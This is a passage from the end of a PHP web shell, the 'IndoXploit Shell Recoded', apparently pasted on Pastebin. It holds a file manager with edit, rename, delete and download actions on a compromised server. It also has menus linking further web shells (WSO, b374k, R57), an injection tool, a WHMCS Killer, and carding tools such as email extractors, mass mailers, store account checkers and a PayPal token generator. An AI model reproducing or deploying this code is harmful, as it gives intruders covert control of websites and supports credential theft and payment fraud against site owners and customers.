  3780.             $ftype = filetype("$dir/$file");
  3781.             $ftime = date("F d Y g:i:s", filemtime("$dir/$file"));
  3782.             $size = filesize("$dir/$file")/1024;
  3783.             $size = round($size,3);
  3784.             if($size > 1024) {
  3785.                 $size = round($size/1024,2). 'MB';
  3786.             } else {
  3787.                 $size = $size. 'KB';
  3788.             }
  3789.             if(!is_file("$dir/$file")) continue;
  3790.             echo "<tr>";
  3791.             echo "<td class='td_home'><img src='data:image/png;base64,iVBORw0KGgoAAAANSUhEUgAAABAAAAAQCAYAAAAf8/9hAAAAAXNSR0IArs4c6QAAAAZiS0dEAP8A/wD/oL2nkwAAAAlwSFlzAAALEwAACxMBAJqcGAAAAAd0SU1FB9oJBhcTJv2B2d4AAAJMSURBVDjLbZO9ThxZEIW/qlvdtM38BNgJQmQgJGd+A/MQBLwGjiwH3nwdkSLtO2xERG5LqxXRSIR2YDfD4GkGM0P3rb4b9PAz0l7pSlWlW0fnnLolAIPB4PXh4eFunucAIILwdESeZyAifnp6+u9oNLo3gM3NzTdHR+//zvJMzSyJKKodiIg8AXaxeIz1bDZ7MxqNftgSURDWy7LUnZ0dYmxAFAVElI6AECygIsQQsizLBOABADOjKApqh7u7GoCUWiwYbetoUHrrPcwCqoF2KUeXLzEzBv0+uQmSHMEZ9F6SZcr6i4IsBOa/b7HQMaHtIAwgLdHalDA1ev0eQbSjrErQwJpqF4eAx/hoqD132mMkJri5uSOlFhEhpUQIiojwamODNsljfUWCqpLnOaaCSKJtnaBCsZYjAllmXI4vaeoaVX0cbSdhmUR3zAKvNjY6Vioo0tWzgEonKbW+KkGWt3Unt0CeGfJs9g+UU0rEGHH/Hw/MjH6/T+POdFoRNKChM22xmOPespjPGQ6HpNQ27t6sACDSNanyoljDLEdVaFOLe8ZkUjK5ukq3t79lPC7/ODk5Ga+Y6O5MqymNw3V1y3hyzfX0hqvJLybXFd++f2d3d0dms+qvg4ODz8fHx0/Lsbe3964sS7+4uEjunpqmSe6e3D3N5/N0WZbtly9f09nZ2Z/b29v2fLEevvK9qv7c2toKi8UiiQiqHbm6riW6a13fn+zv73+oqorhcLgKUFXVP+fn52+Lonj8ILJ0P8ZICCF9/PTpClhpBvgPeloL9U55NIAAAAAASUVORK5CYII='><a href='?act=view&dir=$dir&file=$dir/$file'>$file</a></td>";
  3792.             echo "<td class='td_home'><center>$ftype</center></td>";
  3793.             echo "<td class='td_home'><center>$size</center></td>";
  3794.             echo "<td class='td_home'><center>$ftime</center></td>";
  3795.             echo "<td class='td_home'><center>".w("$dir/$file",perms("$dir/$file"))."</center></td>";
  3796.             echo "<td class='td_home' style='padding-left: 15px;'><a href='?act=edit&dir=$dir&file=$dir/$file'>edit</a> | <a href='?act=rename&dir=$dir&file=$dir/$file'>rename</a> | <a href='?act=delete&dir=$dir&file=$dir/$file'>delete</a> | <a href='?act=download&dir=$dir&file=$dir/$file'>download</a></td>";
  3797.         }
  3798.         echo "</tr></table>";
  3799.     } else {
  3800.         echo "<font color=red>can't open directory</font>";
  3801.     }
  3802.     }
  3803. echo "<center><hr><form>
  3804. <select onchange='if (this.value) window.open(this.value);'>
  3805.   <option selected='selected' value=''> Tools Creator </option>
  3806.   <option value='$ling=wso'>WSO 2.8.1</option>
  3807.   <option value='$ling=injection'>1n73ction v3</option>
  3808.   <option value='$ling=wk'>WHMCS Killer</option>
  3809.   <option value='$ling=adminer'>Adminer</option>
  3810.   <option value='$ling=b374k'>b374k Shell</option>
  3811.   <option value='$ling=b374k323'>b374k 3.2</option>        
  3812.   <option value='$ling=dhanus'>Dhanush Shell</option>    
  3813.   <option value='$ling=r57'>R57 Shell</option>    
  3814. <option value='$ling=encodedecode'>Encode Decode</option>    
  3815. <option value='$ling=r57'>R57 Shell</option>    
  3816. </select>
  3817. <select onchange='if (this.value) window.open(this.value);'>
  3818.   <option selected='selected' value=''> Tools Carder </option>
  3819.   <option value='$ling=extractor'>DB Email Extractor</option>
  3820.   <option value='$ling=promailerv2'>Pro Mailer V2</option>    
  3821.   <option value='$ling=bukalapak'>BukaLapak Checker</option>        
  3822.   <option value='$ling=tokopedia'>TokoPedia Checker</option>  
  3823.   <option value='$ling=tokenpp'>Paypal Token Generator</option>  
  3824.   <option value='$ling=mailer'>Mailer</option>  
  3825.   <option value='$ling=gamestopceker'>GamesTop Checker</option>
  3826.   </select>
  3827. <noscript><input type='submit' value='Submit'></noscript>
  3828. </form>Copyright &copy; ".date("Y")." - <a href='http://forum.indoxploit.or.id/' target='_blank'><font color=lime>IndoXploit</font></a> Shell Recoded By <a href='' target='_BLANK'><font color=lime>M3</a></font></center>";
  3829. ?>
  3830. </html>
Add Comment
Please, Sign In to add comment
Public Pastes
We use cookies for various purposes including analytics. By continuing to use Pastebin, you agree to our use of cookies as described in the Cookies Policy.  OK, I Understand
Not a member of Pastebin yet?
Sign Up, it unlocks many cool features!